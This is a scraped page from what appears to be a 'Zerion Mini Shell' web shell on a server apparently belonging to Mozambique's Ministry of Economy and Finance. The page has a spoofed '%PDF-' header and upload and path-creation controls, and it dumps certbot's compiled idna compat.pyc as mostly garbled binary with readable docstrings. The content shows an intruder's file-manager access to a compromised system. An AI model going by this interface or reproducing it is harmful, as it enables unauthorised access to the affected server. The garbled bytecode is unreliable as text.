%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/certbot/5893/lib/python3.12/site-packages/idna/__pycache__/
Upload File :
Create Path :
Current File : //snap/certbot/5893/lib/python3.12/site-packages/idna/__pycache__/compat.cpython-312.pyc

�

��jI��^�ddlmZmZddlmZmZdedefd�Zdeee	fdefd�Z
dedd	fd
�Zy	)�)�Any�Union�)�decode�encode�label�returnc��t|�S)acCompatibility shim for :rfc:`3490` ``ToASCII``.

    Delegates to :func:`idna.encode` (IDNA 2008). Provided to ease porting
    of code written against the legacy :mod:`encodings.idna` API; new code
    should call :func:`idna.encode` directly.

    :param label: The label or domain to encode.
    :returns: The encoded form as ASCII :class:`bytes`.
    )r�rs �G/root/parts/certbot/install/lib/python3.12/site-packages/idna/compat.py�ToASCIIr
����%�=��c��t|�S)aUCompatibility shim for :rfc:`3490` ``ToUnicode``.

    Delegates to :func:`idna.decode` (IDNA 2008). Provided to ease porting
    of code written against the legacy :mod:`encodings.idna` API; new code
    should call :func:`idna.decode` directly.

    :param label: The label or domain to decode.
    :returns: The decoded Unicode form.
    )rrs r�	ToUnicoderrr�sNc��td��)a4Stub for :rfc:`3491` Nameprep, which is not used by IDNA 2008.

    IDNA 2008 (:rfc:`5891`) replaces Nameprep with the per-codepoint
    validity classes from :rfc:`5892`; this function exists only to
    return a clear error if legacy code attempts to call it.

    :raises NotImplementedError: Always.
    z,IDNA 2008 does not utilise nameprep protocol)�NotImplementedError)rs r�nameprepr s���L�
M�Mr)�typingrr�corerr�str�bytesr
�	bytearrayrr�rr�<module>rsQ��� �
�3�
�5�
�
�U�5�)�+�,�
��
�	N��	N��	Nr

Zerion Mini Shell 1.0
GEPRES Tracking

República de Moçambique

Ministério da Economia e Finanças